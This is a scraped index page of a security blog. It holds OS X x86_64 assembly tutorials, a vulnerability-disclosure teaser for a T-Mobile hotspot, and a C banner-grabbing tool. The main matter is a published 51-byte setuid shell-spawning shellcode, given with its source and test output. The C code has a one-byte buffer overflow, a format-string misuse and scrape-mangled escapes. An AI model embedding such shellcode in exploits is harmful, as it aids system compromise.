Security Development

Choosing a Good Web Design Team for Your Business

I remember building my first website as a young man. It was fun to spend all those hours learning how to do it. My main motivation was to show off for friends and family. I built a bunch of websites that were very basic, but they looked like masterpieces to people who knew nothing about the Internet or websites. I am very embarrassed about my efforts. I never went anywhere with it even though I considered I might make it a career back then. The company I own as an adult uses a firm that does website design in Michigan. I could not even begin to build anything now. I barely even remember a couple of basic HTML tags.

The point I am making is that we should leave some things to professionals. We should consult with people that have a proven track record of performance. I remember the early days of the Internet where small business owners were allowing employees or relatives with some web experience to build them an online presence. That never was a good idea. (more…)

T-Mobile 4G Hotspot Multiple Vulnerabilities

About

Create your own personal hotspot on the go with the T-Mobile 4G Mobile Hotspot—get high-speed Internet on up to five Wi-Fi devices, using a single mobile broadband connection.

Link to Product on T-Mobile’s Website

Timeline

  • Reported to T-Mobile and ZTE on 4/14/12.
  • Received notification from T-Mobile on 4/17/12 that the vulnerabilities would be forwarded to their security team for review.
  • Received no meaningful response from ZTE.
  • No fixes provided, disclosure 2/21/13

Device: T-Mobile 4G Mobile Hotspot ZTE MF61

The access point broadcasts as ‘T-Mobile Broadband#’ where # changes per device.

(more…)

Execve Syscall on OSX 10.7

I’m getting some strange behavior with shellcode that used to work on OS X 10.6. I noticed that if I don’t link with the “-static” option, I get a segfault.

; File: shell.s
; Author: Dustin Schultz - TheXploit.com
BITS 64

section .text
global start

start:
xor rdx, rdx
mov eax, 0x200003b
mov rdi, 0x68732f2f6e69622f
push rsi
push rdi
mov rdi, rsp
syscall

With static:

dustin@sholtz:~$ nasm -f macho64 shell.s 
dustin@sholtz:~$ ld -static -arch x86_64 shell.o
dustin@sholtz:~$ ./a.out 
dustin@sholtz:/Users/dustin$ exit

Without static

dustin@sholtz:~$ nasm -f macho64 shell.s 
dustin@sholtz:~$ ld -arch x86_64 shell.o
dustin@sholtz:~$ ./a.out 
Segmentation fault: 11
dustin@sholtz:~$ 

otool has the same output:

dustin@sholtz:~$ otool -tv static 
static:
(__TEXT,__text) section
start:
0000000100000fe7	xorq	%rdx,%rdx
0000000100000fea	movl	$0x0200003b,%eax
0000000100000fef	movq	$0x68732f2f6e69622f,%rdi
0000000100000ff9	pushq	%rsi
0000000100000ffa	pushq	%rdi
0000000100000ffb	movq	%rsp,%rdi
0000000100000ffe	syscall
dustin@sholtz:~$ otool -tv non-static 
non-static:
(__TEXT,__text) section
start:
0000000100000f9f	xorq	%rdx,%rdx
0000000100000fa2	movl	$0x0200003b,%eax
0000000100000fa7	movq	$0x68732f2f6e69622f,%rdi
0000000100000fb1	pushq	%rsi
0000000100000fb2	pushq	%rdi
0000000100000fb3	movq	%rsp,%rdi
0000000100000fb6	syscall

The headers on the files look way different but I’m not sure exactly what is causing the issue. For instance, the non-static version has several more Load commands like LC_LOAD_DYLINKER (which is expected).

Update
As pointed out in the comments, I was not initializing rsi correctly! Thanks for pointing that out. The fix was to add this before the last syscall:

push rdx
push rdi
mov rsi, rsp

Finding the syscall implementations in OS X

This is mainly just a little note for myself. Sometimes when I’m writing shellcode, I’m interested in how OS X implements the syscalls internally. It’s easy to find out with a command like this:

dustin@sholtz:~$ otool -tv /usr/lib/system/libsystem_kernel.dylib | grep -A10 execve
___mac_execve:
0000000000016898	movl	$0x0200017c,%eax
000000000001689d	movq	%rcx,%r10
00000000000168a0	syscall
00000000000168a2	jae	0x000168a9
00000000000168a4	jmp	0x00017ffc
00000000000168a9	ret
00000000000168aa	nop
00000000000168ab	nop
___mac_get_fd:
00000000000168ac	movl	$0x02000184,%eax
--
_execve:
00000000000173e0	movl	$0x0200003b,%eax
00000000000173e5	movq	%rcx,%r10
00000000000173e8	syscall
00000000000173ea	jae	0x000173f1
00000000000173ec	jmp	0x00017ffc
00000000000173f1	ret
00000000000173f2	nop
00000000000173f3	nop
_fchdir:
00000000000173f4	movl	$0x0200000d,%eax
dustin@sholtz:~$ 

This will find the execve syscall implementation. I still haven’t figured out where the parameters are getting setup but this is definitely where the syscall number is getting moved into rax. It moves whatever was in rcx because it gets smashed by the kernel when syscall is invoked.

A Textbook Buffer Overflow: A Look at the FreeBSD telnetd Code

Wow, I feel real sorry for the FreeBSD guys having to announce a remotely exploitable vulnerability in their Telnet Daemon on Christmas Eve! Let’s just hope that nobody uses Telnet anymore. (more…)

Testing Your Unix-Based Shellcode on a Non-Executable Stack or Heap

I’ve been meaning to post about this technique I figured out while developing the OSX x86_64 setuid/shell shellcode [1] [2] I posted about last week but school and work have been pretty busy. It’s a simple technique that allows you to still test your shellcode on Unix-based OSes with non-executable stacks and heaps and can come in pretty handy for making sure your shellcode is right.

(more…)

Just Arrived: Malware Analyst’s Cookbook

Author Michael Ligh was very gracious to send me a review copy of his new book Malware Analyst’s Cookbook and DVD: Tools and Techniques for Fighting Malicious Code. I took a quick browse through it when I opened it and it looks REALLY GOOD. If it’s anything like the articles on Michael’s website, I know I’m in for a damn good read!

I’m planning on starting it this Saturday due to some other priorities so heads up for a review post in the future or check it out for yourself

Malware Analyst’s Cookbook and DVD: Tools and Techniques for Fighting Malicious Code (Paperback)

By (author): Michael Ligh, Steven Adair, Blake Hartstein, Matthew Richard


A computer forensics “how-to” for fighting malicious code and analyzing incidents

With our ever-increasing reliance on computers comes an ever-growing risk of malware. Security professionals will find plenty of solutions in this book to the problems posed by viruses, Trojan horses, worms, spyware, rootkits, adware, and other invasive software. Written by well-known malware experts, this guide reveals solutions to numerous problems and includes a DVD of custom programs and tools that illustrate the concepts, enhancing your skills.

  • Security professionals face a constant battle against malicious software; this practical manual will improve your analytical capabilities and provide dozens of valuable and innovative solutions
  • Covers classifying malware, packing and unpacking, dynamic malware analysis, decoding and decrypting, rootkit detection, memory forensics, open source malware research, and much more
  • Includes generous amounts of source code in C, Python, and Perl to extend your favorite tools or build new ones, and custom programs on the DVD to demonstrate the solutions

Malware Analyst’s Cookbook is indispensible to IT security administrators, incident responders, forensic analysts, and malware researchers.

 

51 Byte x86_64 OS X Null Free Shellcode

It doesn’t seem like there’s a lot of x86_64 bit shellcode out there for the Intel Mac platforms so I figured I’d write my own and share it. I’m using Mac OS X 10.6.5 at the time of this post.

Shellcode

Instead of starting with the source and ending with the shellcode, we’re going to throw this one in reverse and get right to the shellcode. So here you have it, a 51 byte Mac OS X 64 bit setuid/shell-spawning shellcode

/*
 * Name: setuid_shell_x86_64
 * Qualities: Null-Free
 * Platforms: Mac OS X / Intel x86_64
 *
 *  Created on: Nov 25, 2010
 *      Author: Dustin Schultz - TheXploit.com
 */
char shellcode[] =
"\x41\xb0\x02\x49\xc1\xe0\x18\x49\x83\xc8\x17\x31\xff\x4c\x89\xc0"
"\x0f\x05\xeb\x12\x5f\x49\x83\xc0\x24\x4c\x89\xc0\x48\x31\xd2\x52"
"\x57\x48\x89\xe6\x0f\x05\xe8\xe9\xff\xff\xff\x2f\x62\x69\x6e\x2f"
"\x2f\x73\x68";

Source

And now for the source in NASM/YASM syntax. If you’ve never done system calls on 64bit OS X and you’re confused, be sure to read my post on64 bit system calls in os x.

; File: setuid_shell_x86_64.asm
; Author: Dustin Schultz - TheXploit.com
BITS 64

section .text
global start

start:
a:
 mov r8b, 0x02          ; Unix class system calls = 2 
 shl r8, 24             ; shift left 24 to the upper order bits
 or r8, 0x17            ; setuid = 23, or with class = 0x2000017
 xor edi, edi           ; zero out edi 
 mov rax, r8            ; syscall number in rax 
 syscall                ; invoke kernel
 jmp short c            ; jump to c
b:
 pop rdi                ; pop ret addr which = addr of /bin/sh
 add r8, 0x24           ; execve = 59, 0x24+r8=0x200003b
 mov rax, r8            ; syscall number in rax 
 xor rdx, rdx           ; zero out rdx 
 push rdx               ; null terminate rdi, pushed backwards
 push rdi               ; push rdi = pointer to /bin/sh
 mov rsi, rsp           ; pointer to null terminated /bin/sh string
 syscall                ; invoke the kernel
c:
 call b                 ; call b, push ret of /bin/sh
 db '/bin//sh'          ; /bin/sh string

I would never blindly use shellcode without testing it out my self (unless it’s from a trusted source like Metasploit)

nobody@nobody:~/$ nasm -f macho64 setuid_shell_x86_64.asm 
nobody@nobody:~/$ ld -arch x86_64 setuid_shell_x86_64.o
nobody@nobody:~/$ ./a.out 
sh-3.2$ 

And the final byte representation (verify against C source above)

nobody@nobody:~/$ otool -t setuid_shell_x86_64.o
setuid_shell_x86_64.o:
(__TEXT,__text) section
0000000000000000 41 b0 02 49 c1 e0 18 49 83 c8 17 31 ff 4c 89 c0 
0000000000000010 0f 05 eb 12 5f 49 83 c0 24 4c 89 c0 48 31 d2 52 
0000000000000020 57 48 89 e6 0f 05 e8 e9 ff ff ff 2f 62 69 6e 2f 
0000000000000030 2f 73 68 

And that’s all. Be sure to checkback in the future or subscribe to my RSS feed. I definitely have more shellcode to come!

Mac OS X 64 bit Assembly System Calls

After reading about shellcode in Chapter 5 of Hacking: The Art of Exploitation, I wanted to go back through some of the examples and try them out. The first example was a simple Hello World program in Intel assembly. I followed along in the book and had no problems reproducing results on a 32 bit Linux VM using nasm with elf file format and ld for linking.

Then I decided I wanted to try something similar but with a little bit of a challenge: write a Mac OS X 64 bit “hello world” program using the new fast ‘syscall’ instruction instead of the software interrupt based (int 0×80) system call, this is where things got interesting.

First and foremost, the version of Nasm that comes with Mac OS X is a really old version. If you want to assemble macho64 code, you’ll need to download the lastest version.

nobody@nobody:~$ nasm -v
NASM version 2.09.03 compiled on Oct 27 2010

I figured I could replace the extended registers with the 64 bit registers and the int 0×80 call with a syscall instruction so my first attempt was something like this

section .data
hello_world     db      "Hello World!", 0x0a

section .text
global _start

_start:
mov rax, 4              ; System call write = 4
mov rbx, 1              ; Write to standard out = 1
mov rcx, hello_world    ; The address of hello_world string
mov rdx, 14             ; The size to write
syscall                 ; Invoke the kernel
mov rax, 1              ; System call number for exit = 1
mov rbx, 0              ; Exit success = 0
syscall                 ; Invoke the kernel

After assembling and linking, I got this

nobody@nobody:~$ nasm -f macho64 helloworld.s
nobody@nobody:~$ ld helloworld.o 
ld: could not find entry point "start" (perhaps missing crt1.o) for inferred architecture x86_64

Apparently Mac OS X doesn’t use ‘_start’ for linking, instead it just uses ‘start’. After removing the underscore prefix from start, I was able to link but after running, I got this

nobody@nobody:~$ ./a.out
Bus error

I was pretty stumped at this point so I headed off to Google to figure out how I was supposed to use the ‘syscall’ instruction. After a bunch of confusion, I stumbled upon the documentation and realized that x86_64 uses entirely different registers for passing arguments. From the documentation:

The number of the syscall has to be passed in register rax.

rdi - used to pass 1st argument to functions
rsi - used to pass 2nd argument to functions
rdx - used to pass 3rd argument to functions
rcx - used to pass 4th argument to functions
r8 - used to pass 5th argument to functions
r9 - used to pass 6th argument to functions

A system-call is done via the syscall instruction. The kernel destroys registers rcx and r11.

So I tweaked the code with this new information

...
mov rax, 4              ; System call write = 4
mov rdi, 1              ; Write to standard out = 1
mov rsi, hello_world    ; The address of hello_world string
mov rdx, 14             ; The size to write
syscall                 ; Invoke the kernel
mov rax, 1              ; System call number for exit = 1
mov rdi, 0              ; Exit success = 0
syscall                 ; Invoke the kernel
...

And with high hopes that I’d see “Hello World!” on the console, I still got the exact same ‘Bus error’ after assembling and linking. Back to Google to see if others had tried a write syscall on Mac OS X. I found a few posts of people having success with the syscall number 0×2000004 so I thought I’d give it a try. Similarly, the exit syscall number was 0×2000001. I tweaked the code and BINGO! I was now able to see “Hello World” output on my console but I was seriously confused at this point; what was this magic number 0×200000 that is being added to the standard syscall numbers?

I looked in syscall.h to see if this was some sort of padding (for security?) I greped all of /usr/include for 0×2000000 with no hints what-so-ever. I looked into the Mach-o file format to see if it was related to that with no luck.

After about an hour and a half of looking, I spotted what I was looking for in ‘syscall_sw.h’

/*
 * Syscall classes for 64-bit system call entry.
 * For 64-bit users, the 32-bit syscall number is partitioned
 * with the high-order bits representing the class and low-order
 * bits being the syscall number within that class.
 * The high-order 32-bits of the 64-bit syscall number are unused.
 * All system classes enter the kernel via the syscall instruction.
 *
 * These are not #ifdef'd for x86-64 because they might be used for
 * 32-bit someday and so the 64-bit comm page in a 32-bit kernel
 * can use them.
 */
#define SYSCALL_CLASS_SHIFT	24
#define SYSCALL_CLASS_MASK	(0xFF << SYSCALL_CLASS_SHIFT)
#define SYSCALL_NUMBER_MASK	(~SYSCALL_CLASS_MASK)

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */	
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */

Mac OS X or likely BSD has split up the system call numbers into several different “classes.” The upper order bits of the syscall number represent the class of the system call, in the case of write and exit, it’s SYSCALL_CLASS_UNIX and hence the upper order bits are 2! Thus, every Unix system call will be (0×2000000 + unix syscall #).

Armed with this information, here’s the final x86_64 Mach-o “Hello World”

section .data
hello_world     db      "Hello World!", 0x0a

section .text
global start

start:
mov rax, 0x2000004      ; System call write = 4
mov rdi, 1              ; Write to standard out = 1
mov rsi, hello_world    ; The address of hello_world string
mov rdx, 14             ; The size to write
syscall                 ; Invoke the kernel
mov rax, 0x2000001      ; System call number for exit = 1
mov rdi, 0              ; Exit success = 0
syscall                 ; Invoke the kernel
nobody@nobody:~$ nasm -f macho64 helloworld.s
nobody@nobody:~$ ld helloworld.o 
nobody@nobody:~$ ./a.out
Hello World!

Simple HTTP Server Detector

The preamble to this post is that you can do this in a few lines with CURL, telnet, wget etc. I’m also sure someone has already written one of these but coming from a Java background, it was useful for me (and may be to others) to write a simple application that uses sockets in C.

very Simple HTTP Server Detector 1.0

(I was laughing when I wrote that title)

nobody@nobody:~/$ ./detect
Usage: ./detect < domainname >

Output looks like this

nobody@nobody:~/$ ./detect www.microsoft.com
Server: Microsoft-IIS/7.5

nobody@nobody:~/$ ./detect www.thexploit.com
Server: Apache

nobody@nobody:~/$ ./detect www.google.com
Server: gws

nobody@nobody:~/$ ./detect www.facebook.com
Server: unknown

nobody@nobody:~/$ ./detect www.reddit.com
Server: AkamaiGHost

nobody@nobody:~/$ ./detect www.twitter.com
Server: hi <=== LOL!!

If you’re new to C, see if you can come up with an implementation on your own and then check out the reference below (heavily commented for understanding):

/*
 * Simple HTTP Server Detector
 *
 * Copyleft 2010.
 * All rights have been wronged.
 *
 *  Created on: Oct 5, 2010
 *      Author: xploit
 */
#include <stdio.h> /* Printf, perror, etc */
#include <stdlib.h> /* exit */
#include <sys/socket.h> /* sockets */
#include <netinet/in.h>
#include <netdb.h> /* Host lookup */
#include <string.h> /* bzero */

/* HTTP port */
#define WEB_PORT 80
/* Receive buffer size */
#define RECV_BUF 1024
/* Server buffer size */
#define SRVR_BUF 256

void fatal(char *error);

int main(int argc, char **argv) {

	int socket_fd, i;
	struct sockaddr_in remote_addr;
	struct hostent *remote_host;
	char recv_buf[RECV_BUF], srvr[SRVR_BUF];

	if (argc < 2) {
		printf("Usage: %s <domainname>n", argv[0]);
		exit(1);
	}

	/* Create a socket */
	if ((socket_fd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
		fatal("Failed to create socketn");
	}

	/* Resolve the domain name */
	if ((remote_host = gethostbyname(argv[1])) == NULL) {
		fatal("Failed to resolve domain namen");
	}

	/* Set address and port of remote host */
	memcpy(&(remote_addr.sin_addr), remote_host->h_addr_list[0],
			remote_host->h_length);
	remote_addr.sin_family = AF_INET;
	remote_addr.sin_port = htons(WEB_PORT);

	/* Zero out the rest of the struct */
	memset(&(remote_addr.sin_zero), 0, 8);

	/* Connect to the domain */
	if ((connect(socket_fd, (struct sockaddr *) &remote_addr,
			sizeof(struct sockaddr))) == -1) {
		fatal("Unable to connect to domainn");
	}

	/* Send a HTTP head req */
	if ((send(socket_fd, "HEAD / HTTP/1.0rnrn", 19, 0)) == -1) {
		fatal("Error sending HEAD requestn");
	}

	/* Receive the response */
	if ((recv(socket_fd, &recv_buf, 1024, 0)) == -1) {
		fatal("Error reading HEAD responsen");
	}

	/* Find the server substring */
	char *srvr_ptr = strstr(recv_buf, "Server:");

	/* Fail if it wasn't found */
	if (srvr_ptr == NULL) {
		fatal("Server: unknownn");
	}

	/* Read server line*/
	i = 0;
	while (srvr_ptr[i] != 'n' && i < SRVR_BUF) {
		srvr[i] = srvr_ptr[i];
		i++;
	}
	/* Terminate String */
	srvr[i] = '\0';

	/* Clear string */
	srvr_ptr = NULL;

	/* Print the results */
	printf("%sn", srvr);

	/* Stop both reception and transmission */
	shutdown(socket_fd, 2);

	return 0;
}

// Prints an error and exits
void fatal(char *error) {
	printf(error);
	exit(1);
}
Go to Top